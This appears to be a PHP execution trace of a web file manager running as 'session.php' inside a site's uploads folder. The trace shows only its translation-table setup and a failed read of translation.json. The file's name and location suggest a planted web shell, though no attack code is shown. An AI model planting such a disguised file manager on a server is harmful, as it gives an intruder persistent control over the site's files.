2 A /var/www/html/uploads/session.php 4120 $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'
2 A /var/www/html/uploads/session.php 4121 $tr['en']['Full size'] = 'Full size'
2 A /var/www/html/uploads/session.php 4121 $tr['en']['Help'] = 'Help'
2 A /var/www/html/uploads/session.php 4122 $tr['en']['Free of'] = 'Free of'
2 A /var/www/html/uploads/session.php 4122 $tr['en']['Preview'] = 'Preview'
2 A /var/www/html/uploads/session.php 4123 $tr['en']['Help Documents'] = 'Help Documents'
2 A /var/www/html/uploads/session.php 4123 $tr['en']['Report Issue'] = 'Report Issue'
2 A /var/www/html/uploads/session.php 4124 $tr['en']['Generate'] = 'Generate'
2 A /var/www/html/uploads/session.php 4124 $tr['en']['FullSize'] = 'Full Size'
2 A /var/www/html/uploads/session.php 4125 $tr['en']['FreeOf'] = 'free of'
2 A /var/www/html/uploads/session.php 4125 $tr['en']['CalculateFolderSize'] = 'Calculate folder size'
2 A /var/www/html/uploads/session.php 4126 $tr['en']['ProcessID'] = 'Process ID'
2 A /var/www/html/uploads/session.php 4126 $tr['en']['Created'] = 'Created'
2 A /var/www/html/uploads/session.php 4127 $tr['en']['HideColumns'] = 'Hide Perms/Owner columns'
2 A /var/www/html/uploads/session.php 4127 $tr['en']['You are logged in'] = 'You are logged in'
2 A /var/www/html/uploads/session.php 4128 $tr['en']['Check Latest Version'] = 'Check Latest Version'
2 A /var/www/html/uploads/session.php 4128 $tr['en']['Generate new password hash'] = 'Generate new password hash'
2 A /var/www/html/uploads/session.php 4129 $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'
2 A /var/www/html/uploads/session.php 4130 $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'
2 A /var/www/html/uploads/session.php 4134 $tr['en']['Advanced Search'] = 'Advanced Search'
2 A /var/www/html/uploads/session.php 4134 $tr['en']['Error while copying from'] = 'Error while copying from'
2 A /var/www/html/uploads/session.php 4135 $tr['en']['Nothing selected'] = 'Nothing selected'
2 A /var/www/html/uploads/session.php 4135 $tr['en']['Paths must be not equal'] = 'Paths must be not equal'
2 A /var/www/html/uploads/session.php 4136 $tr['en']['Renamed from'] = 'Renamed from'
2 A /var/www/html/uploads/session.php 4136 $tr['en']['Archive not unpacked'] = 'Archive not unpacked'
2 A /var/www/html/uploads/session.php 4137 $tr['en']['Deleted'] = 'Deleted'
2 A /var/www/html/uploads/session.php 4137 $tr['en']['Archive not created'] = 'Archive not created'
2 A /var/www/html/uploads/session.php 4138 $tr['en']['Copied from'] = 'Copied from'
2 A /var/www/html/uploads/session.php 4138 $tr['en']['Permissions changed'] = 'Permissions changed'
2 A /var/www/html/uploads/session.php 4139 $tr['en']['to'] = 'to'
2 A /var/www/html/uploads/session.php 4139 $tr['en']['Saved Successfully'] = 'Saved Successfully'
2 A /var/www/html/uploads/session.php 4140 $tr['en']['not found!'] = 'not found!'
2 A /var/www/html/uploads/session.php 4140 $tr['en']['File Saved Successfully'] = 'File Saved Successfully'
2 A /var/www/html/uploads/session.php 4141 $tr['en']['Archive'] = 'Archive'
2 A /var/www/html/uploads/session.php 4141 $tr['en']['Permissions not changed'] = 'Permissions not changed'
2 A /var/www/html/uploads/session.php 4142 $tr['en']['Select folder'] = 'Select folder'
2 A /var/www/html/uploads/session.php 4142 $tr['en']['Source path not defined'] = 'Source path not defined'
2 A /var/www/html/uploads/session.php 4143 $tr['en']['already exists'] = 'already exists'
2 A /var/www/html/uploads/session.php 4143 $tr['en']['Error while moving from'] = 'Error while moving from'
2 A /var/www/html/uploads/session.php 4144 $tr['en']['Create archive?'] = 'Create archive?'
2 A /var/www/html/uploads/session.php 4144 $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'
2 A /var/www/html/uploads/session.php 4145 $tr['en']['Archive unpacked'] = 'Archive unpacked'
2 A /var/www/html/uploads/session.php 4145 $tr['en']['File extension is not allowed'] = 'File extension is not allowed'
2 A /var/www/html/uploads/session.php 4146 $tr['en']['Root path'] = 'Root path'
2 A /var/www/html/uploads/session.php 4146 $tr['en']['Error while renaming from'] = 'Error while renaming from'
2 A /var/www/html/uploads/session.php 4147 $tr['en']['File not found'] = 'File not found'
2 A /var/www/html/uploads/session.php 4147 $tr['en']['Error while deleting items'] = 'Error while deleting items'
2 A /var/www/html/uploads/session.php 4148 $tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'
2 A /var/www/html/uploads/session.php 4149 $tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'
2 A /var/www/html/uploads/session.php 4150 $tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'
2 A /var/www/html/uploads/session.php 4151 $tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'
2 A /var/www/html/uploads/session.php 4152 $tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'
2 A /var/www/html/uploads/session.php 4153 $tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'
2 A /var/www/html/uploads/session.php 4154 $tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'
2 A /var/www/html/uploads/session.php 4155 $tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'
2 A /var/www/html/uploads/session.php 4156 $tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'
2 A /var/www/html/uploads/session.php 4157 $tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'
2 A /var/www/html/uploads/session.php 4159 $tr['en']['Moved from'] = 'Moved from'
3 56 0 0.007551 1304064 fm_get_translations 1 /var/www/html/uploads/session.php 4161 1 ['en' => ['AppName' => 'File Manager', 'AppTitle' => 'File Manager', 'Login' => 'submit', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying from' => 'Error while copying from', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
4 57 0 0.007702 1304064 file_get_contents 0 /var/www/html/uploads/session.php 2496 1 'translation.json'
4 57 1 0.007733 1304216
4 57 R FALSE
3 A /var/www/html/uploads/session.php 2496 $content = FALSE
3 56 1 0.007760 1304176
3 56 R NULL
2 A /var/www/html/uploads/session.php 4161 $i18n = NULL
2 A /var/www/html/uploads/session.php 4162 $tr = ['en' => ['AppName' => 'File Manager', 'AppTitle' => 'File Manager', 'Login' => 'submit', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying from' => 'Error while copying from', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
3 58 0 0.007933 1304176 fm_enc 1 /var/www/html/uploads/session.php 4165 1 'Username'
4 59 0 0.007948 1304176 htmlspecialchars 0 /var/www/html/uploads/session.php 2649 3 'Username' 3 'UTF-8'
4 59 1 0.007963 1304448
4 59 R 'Username'
3 58 1 0.007978 1304336
3 58 R 'Username'
2 55 1 0.007992 1295712
2 55 R 'Username'
2 60 0 0.008006 1295552 lng 1 /var/www/html/uploads/session.php 351 1 'Password'
2 A /var/www/html/uploads/session.php 4093 $tr['en']['AppName'] = 'File Manager'
2 A /var/www/html/uploads/session.php 4093 $tr['en']['AppTitle'] = 'File Manager'
2 A /var/www/html/uploads/session.php 4094 $tr['en']['Login'] = 'submit'
2 A /var/www/html/uploads/session.php 4094 $tr['en']['Username'] = 'Username'
2 A /var/www/html/uploads/session.php 4095 $tr['en']['Password'] = 'Password'
2 A /var/www/html/uploads/session.php 4095 $tr['en']['Logout'] = 'Sign Out'
2 A /var/www/html/uploads/session.php 4096 $tr['en']['Move'] = 'Move'
2 A /var/www/html/uploads/session.php 4096 $tr['en']['Copy'] = 'Copy'
2 A /var/www/html/uploads/session.php 4097 $tr['en']['Save'] = 'Save'
2 A /var/www/html/uploads/session.php 4097 $tr['en']['SelectAll'] = 'Select all'
2 A /var/www/html/uploads/session.php 4098 $tr['en']['UnSelectAll'] = 'Unselect all'
2 A /var/www/html/uploads/session.php 4098 $tr['en']['File'] = 'File'
2 A /var/www/html/uploads/session.php 4099 $tr['en']['Back'] = 'Back'
2 A /var/www/html/uploads/session.php 4099 $tr['en']['Size'] = 'Size'
2 A /var/www/html/uploads/session.php 4100 $tr['en']['Perms'] = 'Perms'
2 A /var/www/html/uploads/session.php 4100 $tr['en']['Modified'] = 'Modified'
2 A /var/www/html/uploads/session.php 4101 $tr['en']['Owner'] = 'Owner'
2 A /var/www/html/uploads/session.php 4101 $tr['en']['Search'] = 'Search'
2 A /var/www/html/uploads/session.php 4102 $tr['en']['NewItem'] = 'New Item'
2 A /var/www/html/uploads/session.php 4102 $tr['en']['Folder'] = 'Folder'
2 A /var/www/html/uploads/session.php 4103 $tr['en']['Delete'] = 'Delete'
2 A /var/www/html/uploads/session.php 4103 $tr['en']['Rename'] = 'Rename'
2 A /var/www/html/uploads/session.php 4104 $tr['en']['CopyTo'] = 'Copy to'
2 A /var/www/html/uploads/session.php 4104 $tr['en']['DirectLink'] = 'Direct link'
2 A /var/www/html/uploads/session.php 4105 $tr['en']['UploadingFiles'] = 'Upload Files'
2 A /var/www/html/uploads/session.php 4105 $tr['en']['ChangePermissions'] = 'Change Permissions'
2 A /var/www/html/uploads/session.php 4106 $tr['en']['Copying'] = 'Copying'
2 A /var/www/html/uploads/session.php 4106 $tr['en']['CreateNewItem'] = 'Create New Item'
2 A /var/www/html/uploads/session.php 4107 $tr['en']['Name'] = 'Name'
2 A /var/www/html/uploads/session.php 4107 $tr['en']['AdvancedEditor'] = 'Advanced Editor'
2 A /var/www/html/uploads/session.php 4108 $tr['en']['RememberMe'] = 'Remember Me'
2 A /var/www/html/uploads/session.php 4108 $tr['en']['Actions'] = 'Actions'
2 A /var/www/html/uploads/session.php 4109 $tr['en']['Upload'] = 'Upload'
2 A /var/www/html/uploads/session.php 4109 $tr['en']['Cancel'] = 'Cancel'
2 A /var/www/html/uploads/session.php 4110 $tr['en']['InvertSelection'] = 'Invert Selection'
2 A /var/www/html/uploads/session.php 4110 $tr['en']['DestinationFolder'] = 'Destination Folder'
2 A /var/www/html/uploads/session.php 4111 $tr['en']['ItemType'] = 'Item Type'
2 A /var/www/html/uploads/session.php 4111 $tr['en']['ItemName'] = 'Item Name'
2 A /var/www/html/uploads/session.php 4112 $tr['en']['CreateNow'] = 'Create Now'
2 A /var/www/html/uploads/session.php 4112 $tr['en']['Download'] = 'Download'
2 A /var/www/html/uploads/session.php 4113 $tr['en']['Open'] = 'Open'
2 A /var/www/html/uploads/session.php 4113 $tr['en']['UnZip'] = 'UnZip'
2 A /var/www/html/uploads/session.php 4114 $tr['en']['UnZipToFolder'] = 'UnZip to folder'
2 A /var/www/html/uploads/session.php 4114 $tr['en']['Edit'] = 'Edit'
2 A /var/www/html/uploads/session.php 4115 $tr['en']['NormalEditor'] = 'Normal Editor'
2 A /var/www/html/uploads/session.php 4115 $tr['en']['BackUp'] = 'Back Up'
2 A /var/www/html/uploads/session.php 4116 $tr['en']['SourceFolder'] = 'Source Folder'
2 A /var/www/html/uploads/session.php 4116 $tr['en']['Files'] = 'Files'
2 A /var/www/html/uploads/session.php 4117 $tr['en']['Move'] = 'Move'
2 A /var/www/html/uploads/session.php 4117 $tr['en']['Change'] = 'Change'
2 A /var/www/html/uploads/session.php 4118 $tr['en']['Settings'] = 'Settings'
2 A /var/www/html/uploads/session.php 4118 $tr['en']['Language'] = 'Language'
2 A /var/www/html/uploads/session.php 4119 $tr['en']['Folder is empty'] = 'Folder is empty'
2 A /var/www/html/uploads/session.php 4119 $tr['en']['PartitionSize'] = 'Partition size'
2 A /var/www/html/uploads/session.php 4120 $tr['en']['ErrorReporting'] = 'Error Reporting'
2 A /var/www/html/uploads/session.php 4120 $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'
2 A /var/www/html/uploads/session.php 4121 $tr['en']['Full size'] = 'Full size'
2 A /var/www/html/uploads/session.php 4121 $tr['en']['Help'] = 'Help'
2 A /var/www/html/uploads/session.php 4122 $tr['en']['Free of'] = 'Free of'
2 A /var/www/html/uploads/session.php 4122 $tr['en']['Preview'] = 'Preview'
2 A /var/www/html/uploads/session.php 4123 $tr['en']['Help Documents'] = 'Help Documents'
2 A /var/www/html/uploads/session.php 4123 $tr['en']['Report Issue'] = 'Report Issue'
2 A /var/www/html/uploads/session.php 4124 $tr['en']['Generate'] = 'Generate'
2 A /var/www/html/uploads/session.php 4124 $tr['en']['FullSize'] = 'Full Size'
2 A /var/www/html/uploads/session.php 4125 $tr['en']['FreeOf'] = 'free of'
2 A /var/www/html/uploads/session.php 4125 $tr['en']['CalculateFolderSize'] = 'Calculate folder size'
2 A /var/www/html/uploads/session.php 4126 $tr['en']['ProcessID'] = 'Process ID'
2 A /var/www/html/uploads/session.php 4126 $tr['en']['Created'] = 'Created'
2 A /var/www/html/uploads/session.php 4127 $tr['en']['HideColumns'] = 'Hide Perms/Owner columns'
2 A /var/www/html/uploads/session.php 4127 $tr['en']['You are logged in'] = 'You are logged in'
2 A /var/www/html/uploads/session.php 4128 $tr['en']['Check Latest Version'] = 'Check Latest Version'
2 A /var/www/html/uploads/session.php 4128 $tr['en']['Generate new password hash'] = 'Generate new password hash'
2 A /var/www/html/uploads/session.php 4129 $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'
2 A /var/www/html/uploads/session.php 4130 $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'
2 A /var/www/html/uploads/session.php 4134 $tr['en']['Advanced Search'] = 'Advanced Search'
2 A /var/www/html/uploads/session.php 4134 $tr['en']['Error while copying from'] = 'Error while copying from'
2 A /var/www/html/uploads/session.php 4135 $tr['en']['Nothing selected'] = 'Nothing selected'
2 A /var/www/html/uploads/session.php 4135 $tr['en']['Paths must be not equal'] = 'Paths must be not equal'
2 A /var/www/html/uploads/session.php 4136 $tr['en']['Renamed from'] = 'Renamed from'
2 A /var/www/html/uploads/session.php 4136 $tr['en']['Archive not unpacked'] = 'Archive not unpacked'
2 A /var/www/html/uploads/session.php 4137 $tr['en']['Deleted'] = 'Deleted'
2 A /var/www/html/uploads/session.php 4137 $tr['en']['Archive not created'] = 'Archive not created'
2 A /var/www/html/uploads/session.php 4138 $tr['en']['Copied from'] = 'Copied from'
2 A /var/www/html/uploads/session.php 4138 $tr['en']['Permissions changed'] = 'Permissions changed'
2 A /var/www/html/uploads/session.php 4139 $tr['en']['to'] = 'to'
2 A /var/www/html/uploads/session.php 4139 $tr['en']['Saved Successfully'] = 'Saved Successfully'
2 A /var/www/html/uploads/session.php 4140 $tr['en']['not found!'] = 'not found!'
2 A /var/www/html/uploads/session.php 4140 $tr['en']['File Saved Successfully'] = 'File Saved Successfully'
2 A /var/www/html/uploads/session.php 4141 $tr['en']['Archive'] = 'Archive'
2 A /var/www/html/uploads/session.php 4141 $tr['en']['Permissions not changed'] = 'Permissions not changed'
2 A /var/www/html/uploads/session.php 4142 $tr['en']['Select folder'] = 'Select folder'
2 A /var/www/html/uploads/session.php 4142 $tr['en']['Source path not defined'] = 'Source path not defined'
2 A /var/www/html/uploads/session.php 4143 $tr['en']['already exists'] = 'already exists'
2 A /var/www/html/uploads/session.php 4143 $tr['en']['Error while moving from'] = 'Error while moving from'
2 A /var/www/html/uploads/session.php 4144 $tr['en']['Create archive?'] = 'Create archive?'
2 A /var/www/html/uploads/session.php 4144 $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'
2 A /var/www/html/uploads/session.php 4145 $tr['en']['Archive unpacked'] = 'Archive unpacked'
2 A /var/www/html/uploads/session.php 4145 $tr['en']['File extension is not allowed'] = 'File extension is not allowed'
2 A /var/www/html/uploads/session.php 4146 $tr['en']['Root path'] = 'Root path'
2 A /var/www/html/uploads/session.php 4146 $tr['en']['Error while renaming from'] = 'Error while renaming from'
2 A /var/www/html/uploads/session.php 4147 $tr['en']['File not found'] = 'File not found'
2 A /var/www/html/uploads/session.php 4147 $tr['en']['Error while deleting items'] = 'Error while deleting items'
2 A /var/www/html/uploads/session.php 4148 $tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'
2 A /var/www/html/uploads/session.php 4149 $tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'
2 A /var/www/html/uploads/session.php 4150 $tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'
2 A /var/www/html/uploads/session.php 4151 $tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'
2 A /var/www/html/uploads/session.php 4152 $tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'
2 A /var/www/html/uploads/session.php 4153 $tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'
2 A /var/www/html/uploads/session.php 4154 $tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'
2 A /var/www/html/uploads/session.php 4155 $tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'
2 A /var/www/html/uploads/session.php 4156 $tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'
2 A /var/www/html/uploads/session.php 4157 $tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'
2 A /var/www/html/uploads/session.php 4159 $tr['en']['Moved from'] = 'Moved from'
3 61 0 0.009338 1304176 fm_get_translations 1 /var/www/html/uploads/session.php 4161 1 ['en' => ['AppName' => 'File Manager', 'AppTitle' => 'File Manager', 'Login' => 'submit', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying from' => 'Error while copying from', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
4 62 0 0.009490 1304176 file_get_contents 0 /var/www/html/uploads/session.php 2496 1 'translation.json'
4 62 1 0.009516 1304216
4 62 R FALSE
3 A /var/www/html/uploads/session.php 2496 $content = FALSE
3 61 1 0.009542 1304176
3 61 R NULL
2 A /var/www/html/uploads/session.php 4161 $i18n = NULL
